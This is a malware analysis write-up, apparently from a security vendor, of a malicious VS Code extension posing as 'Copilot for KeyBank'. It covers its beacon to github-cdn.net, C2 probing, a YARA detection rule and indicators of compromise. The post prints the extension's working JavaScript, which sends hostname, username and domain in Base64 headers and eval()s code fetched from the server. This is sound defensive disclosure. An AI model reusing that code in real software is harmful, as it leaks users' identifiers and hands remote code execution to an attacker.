Copilot for KeyBank — a 3 KB VSIX that beacons through github-cdn.net and waits for eval

A new VS Code extension called “Copilot for KeyBank” went live on the Microsoft Visual Studio Marketplace in August 2026. The publisher is verified, the display name on the marketplace is “Deep Seek”, and the package name is verified.pypi-keyBank. None of those brand names — GitHub Copilot, DeepSeek, PyPI, KeyBank — have anything to do with this extension. They are all cover. Behind the polished README and a fabricated multi-year CHANGELOG, the entire extension is a single 3.1 KB webpack-bundled extension.js that does one thing: on activation it phones https://github-cdn.net/api/license, sends your host identifiers Base64-encoded in four custom X-ApiKey-* headers, and waits for the response. If the response contains the word Authorized, the extension pulls a second URL out of that response and eval()s whatever JavaScript it returns.

This is pure malware. There is no legitimate feature. No smart routing, no SecretStorage, no per-language provider list, nothing the README describes. The pypi-keyBank extension is a beacon plus a remote-code-execution trigger, and it auto-fires the moment you open VS Code.

TL;DR

• verified.pypi-keyBank-3.6.5 is a single-file beacon + RCE extension. It registers a pypi-lint.lintCurrentFile command and immediately invokes it on activation.
• It exfiltrates USERDOMAIN, os.userInfo().username, os.hostname(), and os.platform() as Base64 in X-ApiKey-Beta/Alpha/Prd/Dev headers to https://github-cdn.net/api/license.
• On a response containing the literal string Authorized, it splits the body on :, takes the second field as a URL, fetches it, and eval()s the result — arbitrary code execution inside the VS Code extension host.
• The C2 backend at github-cdn.net is live but currently in an “armed but not firing” state. A User-Agent-keyed decision tree governs the response; the no-User-Agent request that the real extension sends returns a 504 Gateway Timeout after ~70 seconds. No Authorized payload is being served to victims right now, but the infrastructure is listening and the operator is actively maintaining it.
• Argus flagged the sample at 13:58 UTC on 2026-08-19 with riskScore 92, C2_COMMUNICATION / CRITICAL. A new YARA rule Y_Mal_verified_pypi_keybank_license_beacon now anchors the campaign.

Why the cover works

The extension stacks four recognizable brand names on top of each other, and each one is chosen to blunt a different instinct a reviewer might have:

The hidden asset is the cherry on top: the VSIX ships a 5,563-byte JPEG at extension/mKGt2Mb...=s128-rj-sc0x00ffffff, a Google user-content avatar filename pattern. The file is not referenced anywhere in the code — it is a decoy / obfuscation artifact that pads the package and may help evade naïve “single JS file” heuristics.

Malicious behavior, step by step

1. Auto-execute on activation

package.json sets activationEvents: ["*"] and main: ./dist/extension. The activate(context) function registers a command and immediately executes it:

function activate(context) {
    const disposable = vscode.commands.registerCommand("pypi-lint.lintCurrentFile", () => {
        // ... beacon + RCE code ...
    });
    context.subscriptions.push(disposable);
    vscode.commands.executeCommand("pypi-lint.lintCurrentFile");  // <-- auto-fires
}

2. Identifier collection

const platform = os.platform();
const userDomain = process.env.USERDOMAIN;
const userInfo = os.userInfo();
const machineName = os.hostname();

const b64platform    = Buffer.from(platform, "utf8").toString("base64");
let b64userDomain;
b64userDomain = userDomain === undefined
    ? Buffer.from("defaultDomain").toString("base64")
    : Buffer.from(userDomain).toString("base64");
const b64userName    = Buffer.from(userInfo.username, "utf8").toString("base64");
const b64machineName = Buffer.from(machineName, "utf8").toString("base64");

3. Beacon request (Base64 in custom headers)

const licenseUrl = "https://github-cdn.net/api/license";
const options = {
    hostname: "github-cdn.net",
    port: 443,
    path: "/api/license",
    method: "GET",
    headers: {
        "X-ApiKey-Beta": b64userDomain,    // process.env.USERDOMAIN
        "X-ApiKey-Alpha": b64userName,     // os.userInfo().username
        "X-ApiKey-Prd":   b64machineName,   // os.hostname()
        "X-ApiKey-Dev":   b64platform      // os.platform()
    }
};
const get_req = https.get(licenseUrl, options);

The C2 server decodes the four headers in its access logs and reconstructs the victim’s Windows domain, username, hostname, and OS platform. The headers are deliberately named to look like legitimate API-key auth parameters.

4. Remote code execution on “Authorized”

get_req.on("response", function(response) {
    response.on("data", function(data) {
        const responseData = data.toString();
        if (responseData.includes("Authorized")) {
            const elements = responseData.split(":");
            const apiUrl = "https://" + elements[1];
            https.get(apiUrl, function(res) {
                res.on("data", function(data) {
                    eval(data.toString());   // <-- arbitrary RCE
                });
            });
        } else {
            responseData.includes("Denied") || setTimeout(attemptRequest, 36e5);  // retry in 1h
        }
    });
});
get_req.end();

5. Silent persistence

On any exception, or a response containing Denied, the beacon re-attempts after one hour (setTimeout(attemptRequest, 36e5)). Errors are swallowed (console.error(e) then retry). The user sees no indication anything is happening.

Beacon payload — decoded header map

C2 / infrastructure

Live C2 behavior

We probed the C2 endpoint with the exact options object the extension uses — no User-Agent, no Accept — replicating the request a real victim’s Node.js runtime assembles. The TLS handshake and HTTP bytes are byte-identical to a non-proxied victim request.

Verified raw HTTP request bytes Node.js assembles for this extension:

GET /api/license HTTP/1.1
X-ApiKey-Beta: V09SS0dST1VQ
X-ApiKey-Alpha: ZGV2dXNlcg==
X-ApiKey-Prd: REVTS1RPUC1ERVYwMQ==
X-ApiKey-Dev: d2luMzI=
Host: github-cdn.net
Connection: keep-alive

(Decoded dummy victim values: WORKGROUP / devuser / DESKTOP-DEV01 / win32.)

Probe results — a User-Agent fingerprint gate

The C2 backend varies its response by User-Agent. Three branches:

1. No User-Agent header at all → 504 Gateway Timeout after ~70 seconds. This is the path the real extension hits, and what every real victim experiences today.
2. Empty User-Agent value → 403 Denied after ~33 seconds. The explicit “Denied” path that suppresses the extension’s 1-hour retry.
3. Any concrete UA string → either 504 (for Mozilla/5.0 and node) or the Apache 302 camouflage (for curl/7.88.1).

This is a sleeping C2. The operator maintains the infrastructure and waits for a signal — a manual re-arm, a specific victim fingerprint, or a time window — before turning on payload delivery. The extension retries every hour and continues to get 504 timeouts, never reaching the eval() RCE branch. The Let’s Encrypt cert for github-cdn.net was issued at Aug 19 13:16:46 2026 GMT, about 42 minutes before Argus scanned the extension at 13:58 UTC. The operator is actively maintaining the infra.

Infrastructure history — 18 months of sleeping camouflage

github-cdn.net is not a freshly-registered domain. urlscan.io has observations going back to at least 2025-02-10. For most of its history it was a typosquat pointing at the real github.com — GitHub ASN AS36459, IPs in 140.82.{112,113,121}.x, German/Frankfurt edge lb-140-82-121-*-fra.github.com. Eighteen months of pointing at real GitHub infrastructure built up the domain’s reputation.

Then the operator pivoted:

The operator provisioned C2 infrastructure on AWS Ashburn (AS14618) within hours of — or coincident with — publishing the malicious VSIX. The previous 18 months of pointing at real GitHub infra was likely reconnaissance / domain-aging to build legitimacy before pivoting to malicious use.

github-cdn.net is not GitHub

GitHub’s legitimate CDN domains are github.io, githubusercontent.com, githubassets.com, and the like. The .net TLD and cdn subdomain are designed to blend into proxy/IDS logs as benign GitHub-related traffic. The domain is registered specifically to impersonate GitHub infrastructure.

MITRE ATT&CK mapping

• T1071.001 — Application Layer Protocol: Web Protocols (HTTPS beacon to github-cdn.net/api/license)
• T1041 — Exfiltration Over C2 Channel (Base64-encoded host identifiers in X-ApiKey-* headers)
• T1059.007 — Command and Scripting Interpreter: JavaScript (eval of fetched payload inside extension host)
• T1105 — Ingress Tool Transfer (arbitrary JavaScript fetched from operator-controlled URL and eval’d)
• T1027 — Obfuscated Files or Information (webpack minification + impersonation of legitimate product)
• T1036 — Masquerading (publisher “verified”, display name “Copilot for KeyBank”, C2 domain github-cdn.net)

Detection — a new YARA rule

Argus’ AI static analysis caught this sample on first scan with C2_COMMUNICATION / CRITICAL, riskScore 92. No prior YARA rule matched, so we wrote one. Y_Mal_verified_pypi_keybank_license_beacon (severity CRITICAL, score 95) anchors on the campaign’s distinctive combination of:

1. VS Code extension shape — require("vscode"), function activate, registerCommand, executeCommand (auto-fires the registered command).
2. C2 sink — github-cdn.net + /api/license.
3. Base64-header exfiltration — at least 3 of X-ApiKey-Beta/Alpha/Prd/Dev.
4. Identifier collection — hostname(), userInfo(), platform(), process.env.USERDOMAIN, or the webpack-bundled os-module marker os__WEBPACK_IMPORTED_MODULE.
5. Base64 encoding — Buffer.from( + .toString("base64").
6. HTTPS request primitive — https.get, require("https").
7. RCE or persistence primitive — the Authorized response gate, the eval(data.toString()) call, the responseData.split(":") URL parse, the apiUrl = "https://" + elements[1] construction, or the 1-hour setTimeout(attemptRequest, 36e5) retry.

Validation:

• Compiles cleanly under yara 4.5.4.
• Seed match: 41 string instances matched against the seed extension.js.
• False-positive sweep: 0 hits across 216 corpus files + 218 artifact files. The only “match” is the rule file itself, which contains the IOCs in its description — expected and acceptable.

Comparison with related Argus campaigns

This extension shares structural DNA with several prior Argus campaigns but uses distinct C2 infrastructure and tradecraft:

Key difference: Unlike the OnPointEPM campaign (riskware/PUP), this extension is pure malware — there is no legitimate functionality. The entire product description is fabricated, and the code’s only purpose is beacon + RCE. The use of eval() for remote code execution is more aggressive than any prior campaign in the Argus corpus.

What to do

If you installed verified.pypi-keyBank:

1. Uninstall it from VS Code immediately.
2. Treat the host as compromised. The C2 has been live and listening since 2026-08-19; even without a served payload, the beacon has already exfiltrated your Windows domain, username, hostname, and OS platform on every IDE start.
3. Run a full malware scan. The eval() branch, if it ever fires on you, runs with the full privileges of the VS Code extension host.

For platform maintainers:

• A publisher slug named verified with a display name of “Deep Seek” should be a blocking signal, not a marketplace listing. The publisher slug is claimable by anyone.
• The fake CHANGELOG dating back to 2024-05-19 for an extension that was first published in August 2026 is a strong abuse signal worth flagging at upload time.
• /api/license as a C2 path is becoming a recognizable pattern — see the OnPointEPM campaign for the same endpoint name used by a different actor.

Indicators of Compromise

Malicious extension identifier

• verified.pypi-keyBank (version 3.6.5)
• Marketplace: https://marketplace.visualstudio.com/items?itemName=verified.pypi-keyBank
• Publisher: verified (display name “Deep Seek”)

Network

Exfil headers (decoded)

File hashes

Behavioral

• require("vscode") extension that calls executeCommand on a registerCommand target inside activate.
• A https.get call to github-cdn.net/api/license with X-ApiKey-{Beta,Alpha,Prd,Dev} headers.
• A Buffer.from(...).toString("base64") encoding of USERDOMAIN, userInfo().username, hostname(), and platform().
• A response branch on the literal string Authorized that splits the body on :, builds https:// + the second field, fetches it, and eval()s the body.
• A setTimeout(attemptRequest, 36e5) 1-hour retry on Denied or error.

The verified.pypi-keyBank extension is small enough to read in one sitting, and that is what makes it instructive. Every layer of the package — publisher slug, display name, package name, README, CHANGELOG, C2 domain, API path, request headers, the bundled JPEG — is a deliberate piece of cover. The malicious behavior fits in roughly 80 lines of JavaScript. The C2 is live, listening, and User-Agent-gated; it has not fired a payload yet, but the operator has been maintaining the infrastructure for over 18 months and pushed fresh certificates hours before the extension went public. The word to watch for is Authorized.